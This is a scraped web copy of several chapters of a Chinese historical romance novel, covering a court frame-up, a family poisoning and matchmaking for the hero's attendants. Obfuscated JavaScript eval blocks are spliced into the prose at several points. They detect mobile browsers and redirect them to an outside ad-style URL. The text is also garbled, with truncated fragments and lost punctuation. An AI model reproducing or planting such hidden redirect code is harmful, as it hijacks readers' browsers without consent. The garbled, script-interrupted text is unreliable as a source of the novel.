;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170534|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也应该等待机会,而不是在这时候出手。 周尚书越想越觉得不对劲,谢泊淮却道,“周尚书,既然人家让你查到这里,那你就知道这些,我们出来多日,也该回去了。” “谢泊淮,你就不好奇?”周尚书追问。 “如果你想知道,那你自己去查。又不是我的天下,何必事事清白?”谢泊淮冷哼完,让青山他们去收拾一下,他想回去了。 周尚书皱紧眉头,一路回去,都在思索这个问题。 他想到了借刀杀人这个词,却想不到谁要借这个刀,又或者是真有那么蠢的人。 而私下里,没有其他人时,司砚也和主子提到这个事,“其实这事等回京城后,就能看出一些端倪。舒安不是回京城了么,在舒安的角度来看,周尚书已经死了,还是被您给害死了。他势必会鼓动周家告御状,这边是主谋要的结果,到时候眼看着添把火就能把您踩死,他肯定会忍不住。” 司砚的脑子,可以抵得上青山一百个。 谢泊淮嗯了一声,又问,“你觉得会是谁呢?” “这个不好说。”司砚不好妄下结论。 “也是,到了京城就知道了。”谢泊淮道。 在谢泊淮回京时,京城那的舒安如他们想的一样,回到周家控告谢泊淮谋害周尚书。周家人一听那还得了,周尚书的两个儿子当即带着舒安去告御状,等皇上见到周家人,听舒安言之凿凿,还拿着周尚书给的信物,就算想帮谢泊淮说话,这会也不能够了。 皇上只能下令包围谢府,并派太子前去缉拿谢泊淮。 谢府外围了两层的士兵,云芝几个看到后,吓得坐不住。 还是折竹淡定点,他找到叶婉宁,“夫人可以淡定一些,如果大人真有什么事,必定会提前送信回来。您尽管吃好喝好,全京城的人都知道大人带着周尚书去淮州,大人不至于那么蠢,在淮州杀人灭口。” 听折竹这么说,叶婉宁心里稍微安定点,确实,谢泊淮干不出那么蠢笨的事。 第186章 撇清关系 安定归安定,没有谢泊淮具体的消息,叶婉宁还是会担忧。 谢府外围了一圈又一圈的人,叶婉宁一晚上没睡好。 次日叶明岳过来,想借着送吃的说两句话,都不得机会。 “您别为难我们,我们也是按照皇上的旨意办事。拦门的军士道,“皇上有旨,在谢大人被带回来之前,不会缺了谢府里人吃的喝的,您大可以放心。至于您送来的这些东西,还是带回去,这会儿那么多人盯着,不是我们不讲情面。 谢泊淮可能出事,京城里多少双眼睛盯着,好些人盼的就是这一天,谁要是通融一下,马上就有人记着。 至于皇上,他现在就没什么主见,大臣的意见为主。 外边人经过谢府,有人唾骂,也有人觉得谢泊淮是被冤枉的。 叶明岳悻悻离开,回去之后,和大哥祖母说没见到人。 “见都不让见,到底怎么了?叶老夫人眉头紧皱,从婉宁嫁给谢泊淮后,她时常会梦魇惊醒,“谢泊淮这次,真的要完了吗? 叶明岳说应该不会,“以谢泊淮的本事,不至于全家完蛋。就是不知道,会不会被贬斥。 叶明德更是发愁,“所有人都知道谢泊淮带着周尚书去淮州,就算真厌恶周尚书,也不该当场杀人,还让一个小厮跑了。 在官场的这些年,叶明德越发知道,办事得果决狠辣,不然事后麻烦的就是自己。心太软的人,注定要吃亏受罪。 “让人跑了?叶明岳越想越不对劲,“谢泊淮真要杀人灭口,怎么会让舒安跑了? “或许是一时失误?就算是再聪明的人,也会有失误的时候。正常情况,谢泊淮肯定不会杀了周尚书,既然周尚书死了,肯定是不得已的突然情况。叶明德分析道。 叶明岳眉头紧皱,他觉得事有蹊跷,但是现在还不知是什么情况。既然皇上派太子去缉拿谢泊淮,他不如先去见见谢泊淮,看看怎么回事。 叶明岳要了马,带着小厮一路南下,他要尽快见到谢泊淮。 而谢家那里,谢仲渊已经半瘫了,谢泊远被流放,只剩下一个丁忧的谢泊铭在家中。 谢泊铭带着消息找到老爷子,“爹,谢泊淮不得行了,您不用再盼着他光耀谢家了。 床上的谢仲渊听到谢泊淮杀了周尚书,眼睛瞬间瞪大,随后又皱紧眉头,他口齿不清地道,“不……不可能。 一边说话,谢仲渊的口水一边往下流。 “怎么不可能呢?谢泊铭带了点怒气, 都到了这个时候他爹还在帮谢泊淮说话。谢泊淮那个忘恩负义的不记着谢家的养育之恩反而残害谢家早就应该死了“皇上已经派人围了谢家并让太子缉拿谢泊淮。谢泊淮这次死定了。” 谢仲渊听了很着急但他越是急就越说不出话来。 谢仲渊呜呜了好半天谢泊铭拼拼凑凑听起来就是谢泊淮不可能干这个事。 这时的谢泊铭听不出谢仲渊真正的意思只觉得谢仲渊还在偏袒谢泊淮更加生气。 而谢仲渊是觉得谢泊淮干不出那么蠢的事就算周尚书死了那也是有心人嫁祸。以谢泊淮的本事不一定会栽在这个事上。 但谢泊铭一直不被谢仲渊看重在谢仲渊眼中谢泊铭两兄弟都远不如谢泊淮的能力他早就一肚子怨气。现在父亲半瘫看着日子不多了若是拖个两三年再死他就得连续丁忧五年多。 倒不如…… 看着床上控制不住的谢仲渊谢泊铭心中有了决定“父亲且看着吧您最看重的谢泊淮马上死了以后您的指望只有我了。咱们谢家也得由我来撑起门楣。” 听到这话的谢仲渊呜呜摇头又说了“令娴”两个字。 “您竟然还有心思管令娴如今陆丰年带兵清剿成王成王撑不了多久。等成王一被俘获令娴两母女必死无疑。咱们现在最该和令娴撇清关系更不可能去帮她。”反正谢令娴是大房的女儿不是他谢泊铭的女儿他不在乎谢令娴的生死。 谢仲渊却是摇摇头“让……让令娴……主动……动……赴死。” 到了这个时候成王注定战败既然如此那让谢令娴主动和成王撇清关系表明立场后再赴死< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170535|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>本来因为成王造反皇上就盯着谢家故而谢家必须拿出诚意来。 一个女儿算不上什么能为谢家做点什么算得上死得其所了。 谢泊铭愣了下心中默默感叹论心狠还得是老爷子。既然是老爷子的意思那他办起来也不会有心理负担了。 想到能解决谢家隐患还能看谢泊淮倒台谢泊铭神清气爽立马让人去安排给谢令娴送信。 等谢令娴用晚膳发现谢家送来的信纸她浑身冰凉。 成王很可能战败谢家要她带着赴死。 她死了无所谓可是年幼的女儿怎么办? 女儿才那么小她曾盼着女儿长大甚至开始替女儿准备嫁妆了。要她带着那么小的女儿去死她如何下得去 手? 可她又是谢家女,如果她不让谢家和成王撇清关系,谢家又如何顾好流放的爹娘? 但二叔会替她照顾爹娘,以及兄弟姐妹吗? 谢家大房和二房向来是面和心不和,祖父年迈,祖母已经过世,谢令娴长长地吸了一口气。 如果她不听谢家的,那她又该如何活下去? 就算皇上想要个宽容的好名声,明面上准许他们母女活着,暗中呢? 谢令娴焦头烂额时,边上的女儿突然捂着肚子说疼,“怎么了?” “母亲,我……我肚子疼……” 谢令娴看着桌上的饭菜,和谢家递进来的毒药,原来谢家就没给她选择的机会。就算她不听谢家的,谢家也要她们母女死。 看着女儿抽搐呕吐,谢令娴拍着门让人喊太医,但是门口的侍卫不肯放他们出去,只让他们等着,他们会去找大夫。 可是等大夫来的时候,谢令娴的女儿已经死了,她看着女儿的尸首被带走,无助地坐在地上讥笑。 什么荣华富贵,世家荣耀,重要吗? 呵呵。 她不要死。 她要活着! 既然这些人让她不痛快,她就活着恶心他们。 谢令娴心里有了主意后,眼神渐渐坚定下来。 第187章 小心眼 成王女儿死了,自然有人上报朝廷,皇上作为仁君,他没下令让谢令娴母女死,是谁下的毒,那就要查清楚。 事情很简单,也很好查,最后查到了谢府的头上。 但纯王建议不要发落谢家,“这也是谢家为了表忠心,才会这么做。其实这样也好,就算是女儿,长大了也难免成为祸患。现在只有个成王妃,她一个妇道人家,成不了什么气候。谢家也是名门望族,若是父皇给谢家留一条活路,咱们说不定能得更多世家的支持。” “朕不发落谢家,旁人会不会有意见?”皇上还在担心。 “自然是要找人顶替,给个能解释的理由。”纯王道,“朝臣们,多多少少都和几位皇叔有点关系,他们心里都惧怕着,怕您为了扫除异党,清剿他们。但我们连谢家都能网开一面,他们也就能放心了。父皇您刚登基不久,稳定朝局才是最重要的。若是世家人心惶惶,天下难太平。” 皇上思虑过后,同意了纯王的说法,也对纯王高看了一些,没想到这个儿子有这样的本事。 宫里用成王府的厨子当替死鬼,世家们看到皇上这样做,纷纷松了一口气。 至于谢泊铭,更是赌赢了。 兵行险招,最后局面是好的,那就没有错。 就是可惜,谢令娴没有死,不过也够了,足够让皇上知道谢家的立场。 正好他要丁忧,先蛰伏两年,等再入官场时,就是他崭露头角的时候。 至于他父亲,谢泊淮死的那日,也就是谢老爷子闭眼那日。 谢泊铭盼着谢泊淮去死。 而此时谢泊淮已经见到了叶明岳,谢泊淮让叶明岳先回京城,“你就当做没见过我,也不知道周尚书还活着,什么都不要说。” “你是想看看,谁会趁此机会踩你一脚?”叶明岳很快懂了谢泊淮的意思。 谢泊淮说是。 “婉宁那里,你通过气吗?”叶明岳看谢泊淮摇头,焦急道,“你不和婉宁打声招呼,她若是着急上头,要是做点过激的事,那该怎么办?” 谢泊淮微微皱眉,“我与婉宁已经相处了一段日子,我相信她能懂我的安排。” 直觉上,谢泊淮选择相信叶婉宁。 叶明岳却不太理解谢泊淮,但谢泊淮这么说了,还是应了下来,“你很快会见到太子,我会绕道回京城。还好你没事,不然我都不懂怎么救婉宁。谢泊淮,你可不可以不要再把你自己置于危险境地,你现在是有家室的人,不再是一人吃饱,全家不愁了!” 一旁的青山很想说,他主子已经收敛很多了,如果是以前,主子就放任那些人杀了周尚书,谁让周尚书不听话,自个儿偷偷跑出去。以前主子才不会在意回京城后要面对什么,反正以主子的权势,谁都不敢拿主子怎么样。 但司砚早就料到青山可能会插嘴,特意拽了下青山的手,用口型说了“闭嘴”两个字。 青山是不服气的,但司砚让他闭嘴,可能是有司砚的理由,他还是听司砚的,免得事后被主子处罚。 “我知道的二哥。”谢泊淮道。 突然的一句二哥,让叶明岳很不习惯。 这是和他服软了? 叶明岳一下都不懂怎么说了,“行了,我先回去,你心里有数就行。” 怕京城里再有变动,叶明岳一路快马加鞭回去。 等他回到京城,谁都没说,就怕乱了谢泊淮的计划。 过了四日,太子等人回来了,好些人得知太子带着谢泊淮回来,以为会是囚车关押谢泊淮,却看到谢泊淮骑马进城,不少人心里都在想怎么回事。 他们一路进宫去,宫门口有些大臣看到了谢泊淮,个个都皱眉。 谢泊淮下了马,朝着众人走去,“怎么了各位大人,大白天的,以为见到鬼了吗?” “谢泊淮,你……你怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“至于,要不是你跑路,我会被冤枉吗?难道你没听说,皇上让人包围了谢府,这要是我妻儿被吓出个好歹,你让我怎么独活?”谢泊淮说这话时,前头的太子突然顿了顿,才继续往前走。 他这话,可不是单单为了气周尚书。 第188章 不是坏官 周尚书心想谢泊淮是个最不要脸的,还不好意思独活,不过是为了气他罢了。 这人忒不要脸,一张嘴讨厌得很。 周尚书不搭理谢泊淮了,有人来扶,他也不让,就要自己走。 一行人去了仁政殿,皇上早就望眼欲穿,听周尚书说了经过,这才知道是京城江家陷害了谢泊淮。 “竟然那么曲折,还好朕也相信子谦。子谦你莫要怪朕,朕也是为了堵住京城人的悠悠众口,才会派人围着谢府,现在接触误会是最好的。这些日子,一应用品,都有送到谢府。”皇上贵为天子,却还是好言好语地给谢泊淮解释。 谢泊淮作为臣子,很体贴地表示理解,“皇上的信任,便是微臣最感动的事。” “此番去淮州,你们辛苦了,既然事情弄清楚,朕会处置江家,你们先回去休息。”皇上并没有当着谢泊淮的面下处罚。 周尚书却是个耿直的,“回皇上,江家胆大妄为。为了一己私欲,竟然害得百姓没有田地可以耕种,应该重重处罚。” 皇上刚放过谢泊铭,这会没那么想得罪世家,他本想轻拿轻放,现在周尚书这么说,他还是想继续打马虎眼,却听谢泊淮开了口。 “周尚书说得对,微臣几个并不重要,我们本就该为国为民,但让百姓寒心,怕引起不必要的祸端。还请皇上严惩江家,若是不处置江家,以后谁还听您的话?”谢泊淮在给皇上施压。 皇上可以忽略周尚书的话,却不敢轻视谢泊淮的提议,“朕知道了,朕会处置江家的。” 周尚书似乎看不出皇上的真实想法,“为了安抚民心,还请皇上现在下旨意。” 皇上蹙起眉头。 太子出来道,“周尚书辛苦了,父皇也得理清楚怎么回事,你得给父皇一点时间。” 周尚书看了眼太子,“就算一时间没想好怎么处置,也该派御林军围住江家,怎么对谢府,也该怎么对江家,不好厚此薄彼。” “嗯,朕知道了。”被周尚书步步紧逼,皇上语气不太好,“就按你说的办。” 出了仁政殿,周尚书才问太子,皇上为何犹豫不决。他和谢泊淮刚回京城,并不知道成王女儿死了的事。 太子摇头说不清楚,“我也是刚回来,不懂父皇怎么想的。” “真是奇了怪了,不应该啊。”周尚书撇撇嘴,等到了宫门口,准备和谢泊淮道别时,却看到谢泊淮转身上了马,连个眼神都没给他。 “谢大人还真是急切。”太子感叹一句。 周尚书哼了哼,“他这一路,都在嘲讽老臣,说什么他要是有个三长两短,或者被冤枉死了,他家夫人该怎么办,说得老臣耳朵都长茧了。也不知道他在想什么,平常看着凶巴巴的一个人,真有那么惧内?老夫是不信的!” 说完,周尚书也打算回去了,他这一路累到浑身酸痛,加上有了年纪,得好好休息几天才行。 这时的周家人也收到消息,得知周尚书还活着,周尚书那叫一个激动。 舒安更是早早等在门口,看到自家老爷回来,当即跪下,“舒安没用,是舒安让老爷吃苦受罪了。” “起来吧,不关你的事,是我老糊涂,当时没想明白,被人骗了都不知道。”周尚书被舒安扶着进了家门。 能回到家里,周尚书感慨颇多,见过一家子后,让小辈们先走了,自个儿和夫人在屋内说话。 “这次能活着回来,多亏了谢泊淮。”周尚书和周夫人是少年夫妻老来伴,两人感情很好,这些年,周尚书身边连个妾室都没有,夫妻俩私下里,什么话都会说。他只有在周夫人面前,是和言细语。 “之前你还讨厌他,隔三差五弹劾他,现在是有了转变?”周夫人满头银丝,气质端庄,就是喝茶也慢条斯理,将就一个大家风范。 周尚书哼了一声,“现在也还是讨厌,他那一张嘴,尽不说人话,你不知道他有多讨人厌。只是……”微微顿住,“人要眼见为实,谢泊淮这人,他是把权势掌控在手中,但他确实不是个坏官。” 周夫人这些年上了岁数,家中杂务都交给两个儿媳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两情相悦?! 夫妻之间的相处,他们都是第一次,叶婉宁吃完饭,替乐哥儿擦擦嘴,“跟春喜玩去。 “不能玩,先生让孩儿背书。乐哥儿最近很上进,先生说他父亲没有中进士,如果他能中进士,日后就能比父亲更厉害,所以他要努力一些。 看儿子用功读书,叶婉宁却道,“白天读就好,夜里点灯读书,会伤眼睛。你年纪还小,读书不必着急。听话,和春喜玩一会儿,便去睡吧。 叶婉宁哄着儿子出去玩,再去看谢泊淮,“我知道大人有大人的决策,还好这次有惊无险,您不用和我多解释,我能理解。 “我是觉得,你能信我做不出这种事。既然不是我做的,必然是有误会,我肯定能预料到。不知为何,叶婉宁说理解他,谢泊淮反而更闷闷的。 平常人家的夫人,不该闹一闹,耍点小性子,男人才有机会哄一哄? 谢泊淮看着叶婉宁,心里是种说不出来的郁闷感。 “是啊,所以我并没有生气。毕竟这种大事,你肯定有你的道理,而且这个事,也是突然发生,从淮州到京城那么远,也不是能立马通知到我。 “确实是这样,可是…… 谢泊淮话到嘴边,感觉他自个儿无理取闹了,见叶婉宁还是一脸和煦,一口气接不上,转身往外去了。 而叶婉宁看着谢泊淮的背影,感觉谢泊淮生气了,但于道理上,不应该才是。 这么一想,叶婉宁也就没去管谢泊淮,而是开始收拾谢泊淮带回来的行囊。 出门大半个月,谢泊淮那些衣物破的破,脏的脏,都还重新归置了。 这边叶婉宁在收拾东西,谢泊淮则是在院子里看到和春喜玩的儿子。 “父亲,您要不要一块儿踢毽子?乐哥儿跑过来问。 谢泊淮没心思,但还是陪着乐哥儿玩了一会,才去书房。 司砚端来热茶,折竹在一旁说着谢泊淮离开后,京城和谢府发生的事。 “原来是这样,谢家不愧是谢家,不过谢令娴没死,看来谢令娴不舍得死。谢泊淮道。 “应该是的。大人,咱们要不要借谢令娴做文章?折竹问。 谢泊淮摇摇头,“这会儿,肯定很多人盯着谢令娴,成王那还没结果,咱们等着就好。谢家毒死谢令娴的女儿,她自己又被困在成王府,既然她还活着,必定会有所动作。等着看就好,必要时,再暗中帮 帮谢令娴。” 折竹说明白了,“还有御林军包围谢府后,朝堂上好多人都让皇上处置您和夫人,倒是太子殿下帮着说了两句话。” “太子?”司砚问。 “是的。”折竹道,“想来是羲和公主求了太子,不然好些人建议先抄了咱们府上,关押夫人。” “那太子倒是有点脑子,不然皇上这么做了,咱们大人可受不了这个气。”司砚很明白主子的想法,主子自己吃苦无所谓,但皇上要是让夫人去坐牢,皇位也就可以换个人坐。 谢泊淮:“把具体的什么人,说了什么话,都给我看看。” 折竹把本子递了过去,司砚在一旁小声道,“夫人刚才和我说了。” 折竹看过去,“说什么了?” “说了媒婆相看的事,明日就可以安排,你期待不?”司砚说得很小声,见主子抬头看过来,不加掩饰地期待起来,“夫人对我们几个很上心,说安排就安排了。夫人说,媒婆介绍的,不一定知根知底,但媒婆知道的人家多,可以先看看媒婆介绍了什么人。她也打听了镇府司的弟兄们家里的情况,最好还是认识的人家,才能稳妥一点,毕竟是枕边人。” 对于成亲,司砚想了很久,他家就他一个了,若是能成亲生子,想来爹娘也能安心。 折竹脸热热的,听司砚说到这个,有些不好意思。 谢泊淮听了后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170538|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却更郁闷了,叶婉宁替司砚这几个安排得那么好,怎么到了他这里,就不能再细致一点。 连他不高兴了,都不知道吗? 谢泊淮哼哼地回了屋子,看叶婉宁把他的衣裳挑了出来,他清了清嗓子,“这些事,明儿再做吧。” “已经弄好了,破了太多的衣裳,到时候重新裁剪,给乐哥儿做衣裳。”叶婉宁看过谢府的账册。 尽管谢泊淮位高权重,得到的赏赐也多,但府里的钱并不多。 因为镇府司那些兄弟如果有个伤残,谢泊淮都会贴钱给他们,这就是一大笔的支出。 府里的银钱够用,但不能大手大脚,所以叶婉宁能省一点是一点,反正乐哥儿不需要那么好的衣裳。 看叶婉宁收拾得整整齐齐,谢泊淮想到司砚期待成亲的话,确实,有了夫人就是不一样。以前哪有人帮他弄这些,破了的继续穿,打补丁的人都没有,穿到实在不行再丢了。现在不仅归家有热饭吃,衣裳也整理得好好的,谁会不想成亲呢? 看着烛光下的叶婉宁,谢泊淮喉结滚动,“夜深了,先别忙了,咱们睡吧。” 叶婉宁嗯了一声,吹灭了蜡烛。 皇上给了谢泊淮一天假,谢泊淮第二天起来后,便在院子里打拳。 等他们用了早膳,羲和公主一边说,一边进来,“婉宁,我可算是能来找你了。你都不知道,我有多担心你,奈何母后又不让我来,说情况特殊,还让我不要担心你,但我怎么可能不担心。” 左右看了看,见谢泊淮这会没在屋子里,羲和公主听叶婉宁说没事了后,笑盈盈地凑了过去,“上次你说你和谢泊淮两情相悦,到底怎么相悦的,和我说说呗?” 为了这个事,羲和公主一直盼着出宫。 而此时,走到门口的谢泊淮,正好听到这个话。 两情相悦? 叶婉宁和羲和公主说他们两情相悦了?! 第190章 姚媒婆 看叶婉宁愣住不说话羲和公主干脆坐下“咱们都是为人妇的没啥不好意思你与我说说呗。” “还能怎么样日久生情就那样啊。”叶婉宁说不出口也没什么好说的。 “什么就那样总有个什么事或者谢泊淮做了什么你又做了什么。”羲和公主快急死了。 叶婉宁说没做什么。 “什么都没做你们就黏黏糊糊啦?”羲和公主不由自主地抬高音量。 而这时云芝从外边过来瞧见门口的谢泊淮唤了句大人屋内的羲和公主瞬间跳了起来叶婉宁也提起心弦。 谢泊淮这才走进屋子“见过殿下。” “免礼免礼。”和叶婉宁说话羲和公主可以随意自在但面对谢泊淮她现在就发怵。她向叶婉宁投去求救的目光好不容易出宫一次她可不想那么快回去但有谢泊淮在她很不自在。 “殿下既然来了那就用了饭再走正好你们说说话。”谢泊淮想到那句两情相悦唇角不自觉上扬。就算叶婉宁是为了哄羲和公主说的那他也高兴。 平日里叶婉宁在府上无趣有个闹腾的羲和公主来玩玩也好能给府上带来一些乐趣。 羲和公主硬着头皮道“吃饭就不用了我想带着婉宁出门去谢大人可以吗?” “可以正好今儿我有空一块陪你们去。”谢泊淮好似没听出羲和公主的话外之音就想陪着叶婉宁一起。好不容易有一天休息他不陪着夫人难不成真去处理公务? 以前谢泊淮爱干活那是身边没个亲热的人现在有了亲亲热热的夫人谁还爱公务? 叶婉宁也说不行“我今儿找了媒婆上门家里的一些小厮年岁大了想给他们相看一番。” 说到给人相看羲和公主又来了兴趣“这个好啊那我就留下来用饭吧。” 就算有谢泊淮在她也想留下看热闹反正有叶婉宁在叶婉宁去哪里她跟着就是尽量不去看谢泊淮。 正午用饭时叶婉宁安排春喜去给儿子送饭“天儿热了拍黄瓜爽口微酸你给余先生也拿一盘。送了就回来碗筷等接乐哥儿时再拿回来就行。” 春喜还给乐哥儿另外做了酱牛肉 看着春喜走后叶婉宁才招呼羲和公主用饭。 羲和公主是头 一回和谢泊淮坐一张桌子用饭,左右看了看,还是叶婉宁给她夹菜,才稍微放松一点。 “春喜的厨艺不错,今儿的酱牛肉和三杯鸡都是春喜做的,殿下看看喜不喜欢?叶婉宁浅笑着,她能看出羲和公主的紧张,但羲和公主要留下,就只能一块儿吃了,总不能让谢泊淮自个儿坐一边。 三个人吃完午饭,媒婆就上门来了,叶婉宁请的官媒,媒婆刚进来,云芝就递了钱袋子过去,“我们家夫人说,要请就请京城里最好的媒人,这点子钱,辛苦你跑一趟,请你喝茶用。 云芝说话好听,姚媒婆接过钱袋子掂了掂,很是满意重量,脸上的笑容真诚许多。本来她是不愿意来的,谢大人的名声谁人不知,来给谢家办事,要是没办好,她真怕谢大人一刀杀了。 现在看谢夫人温温和和,谢夫人身边的丫鬟说话也客气,没有一点架子,姚媒婆慢慢地松了口气,“不敢讲辛苦,我是干这行的,就该多跑跑。多谢夫人好意,不知道今儿,是要给哪几个人说媒。 叶婉宁让云芝去喊人,她昨儿交代了,媒人上门要穿精神点,特别是青山那里,就怕青山猪脑袋,不知道讲究。 没过多久,司砚先进来了,他换了新衣,头一回见媒婆,多少还是有些羞涩,但总体还是很镇定。 折竹则是拧着拳头,很紧张地跟在后面进来,他脸颊红红的,看着身子僵硬得很,大气不敢喘。 青山就很自在了,随便地迈过门槛,眼神转了一圈,冲着主子行了礼,根本没去看姚媒婆。 三个人的状态,叶婉宁都看在眼里,等他们问过好,都出去了,叶婉宁才去看姚媒婆,“最先进来的司砚是有官身的,官位不高,却也有六品。他是最能说会道的一个,也聪明好学。折竹办事勤恳,话少人踏实。青山则是憨厚为主,认准了就是一辈子。他们三人都不是奴籍,司砚往后可能会有造化,青山就是普普通通过日子的。我先与你说清楚,是希望好好替他们相看一门婚事,不想有什么蒙骗的事。 早在离开谢家老宅时,谢泊淮就替青山几个消了奴籍,他们还愿意留在谢泊淮身边办事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170539|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,都是因为谢泊淮的恩情。 叶婉宁这番话,是表现诚意,也是在敲打姚媒婆,别随便糊弄了她。 姚媒婆干了那么多年媒婆,见过不少人,一下听出叶婉宁的意思。心想谢夫人看着温柔,说话做事却是很有条理规矩,和外边说的倒是不一样。 “夫人放心,我干了那么多年,您尽管去打听口碑。方才听了您说的,这三位小兄弟都得 谢大人看重,肯定很多人愿意结亲。今儿个我了解了,等有了合适的,我就上门来与您说。”姚媒婆想快点把事办了,若是都办成了,谢家给的赏金应该不少。 叶婉宁让云芝去送姚媒婆,姚媒婆又问,“我瞧这位姑娘也很好,若是还没亲事,也可以找我帮忙。” 云芝笑着说不用,姚媒婆也没多说,很有边界感地走了。 羲和公主却在叹气,“我以为今儿就能相看起来,怎么还要等消息?” “婚姻嫁娶得两家都愿意了才能相看,又不是我们说了好,别人就要答应。你这番模样,反而比我还着急。说起来,你也和离了,皇后娘娘给你挑好夫婿没有?”叶婉宁转移话题道。 “还没呢,母后怕我再跳入火坑,所以这次要多挑挑,得把人祖宗十八代都打听清楚。我反正不着急,嫁了人后,我才知道,在娘家有多快活,没那么想嫁人。”羲和公主说着用手撑住下巴,“如果可以,我宁愿养几个面首,过着和姑母一样的日子。” 说到姑母,羲和公主发现叶婉宁眼神暗了下去,“对不住啊婉宁,我不是……” “没事的,您能记得义母,这是好事,被人遗忘了,那才是真的可怕。想来义母也会高兴,您能想着她。”叶婉宁冲羲和公主笑了笑。 “宁安以前就和我说,人很少能像姑母那样洒脱,现在想起来,确实是这样。如果你可以选择,你肯定也想过那样的日子吧?”羲和公主刚问完,就瞧见谢泊淮冷眼扫了过来,心头抖了抖,赶忙强调,“我就是一个假设。” 叶婉宁看了谢泊淮一眼,“人生没有假设呢。” 这时谢泊淮起身送客,“时候不早了,殿下也该回宫了,不然天要黑了。” 第191章 我能抱抱你吗? “我……我和母后说了要和婉宁多待两天没那么快回去。”羲和公主现在没有其他朋友了好不容易出宫一趟想着明儿谢泊淮就去忙她能带着叶婉宁出去玩。 一听这话谢泊淮不乐意了多个羲和公主在总感觉府里多了好些人。但叶婉宁先说了好他也只能答应了下来。 “云芝你去给殿下安排住处。”叶婉宁道。 “不用太麻烦 “姨母也好看。”乐哥儿第一次见羲和公主他不认生看母亲点了点头才收下义母给的礼物。只是这个金镯子对他来说太大了不过羲和公主准备了其他礼物。 羲和公主把乐哥儿揽到怀里“还得是婉宁你的孩子好看这小鼻子小眼睛等他长大后指不定要迷死多少小姑娘。不过我瞧着也有点像谢泊淮啊。” 羲和公主看了又看她对乐哥儿挺有眼缘得知乐哥儿在读书又夸了好一会儿。 很快到了晚膳时间羲和公主话很多乐哥儿也是个能聊的一大一小倒是聊得愉快。 在羲和公主说明日带乐哥儿出门逛闹事乐哥儿更高兴了两人手牵着手一块走了。 春喜只好去和余先生告假说是羲和公主要带乐哥儿出门。 “哼这小子也是没定性读书怎么能贪玩?罢了随便他反正是谢泊淮的儿子以后能不能中进士和我又没关系。”顿了顿余庆生又道“那明日你还来送饭吗?” “乐哥儿不来也就不用我来了。先生不用担心厨房那会安排好的先生有什么喜欢吃的也可以和我说我会交代下去。”春喜每回过来余先生总会问什么菜是她做的想来余先生是个喜欢吃的她便多说两句。 “你不做吗?” “乐哥儿和夫人都不在家我是不做的。” 余庆生微微皱眉“嗯我知道了。” 听余庆生没其他要求春喜便走了并没有发现余庆生在生闷气。 余庆生觉得春喜做的更好吃谢泊淮府上的厨娘厨艺并不如春喜。奈何他个大男人又不好说自己喜吃食只好随便他们了。 想着羲和公主也就住一两天乐哥儿总要回来读书忍个两三天也不算久。 而春喜回去后看了看乐哥儿便回去洗漱歇息。 她和云芝住一间,云芝坐在床上,“今儿夫人请了媒人,你知道吧?” “知道。” “那你怎么想?” “云芝姐姐,你想说什么,直说嘛,咱们俩之间,你不用兜圈子。”春喜不懂云芝要问什么。 “我是想说,若是你对青山还有想法,就让夫人去说说。面子并不重要,别错过自己的心意。不然等媒婆帮青山他们定下来,你想挽回,就太迟了。”云芝软言道。 听到这话,春喜噗嗤笑了,“云芝姐姐,我们乡下长大的孩子,没那么多讲究的。喜欢就说喜欢,但是不喜欢了,也就是真的不喜欢。之前是我动了心思,但我现在对青山,也是真的没了想法。天底下男人那么多,我何必对一个人长情?” 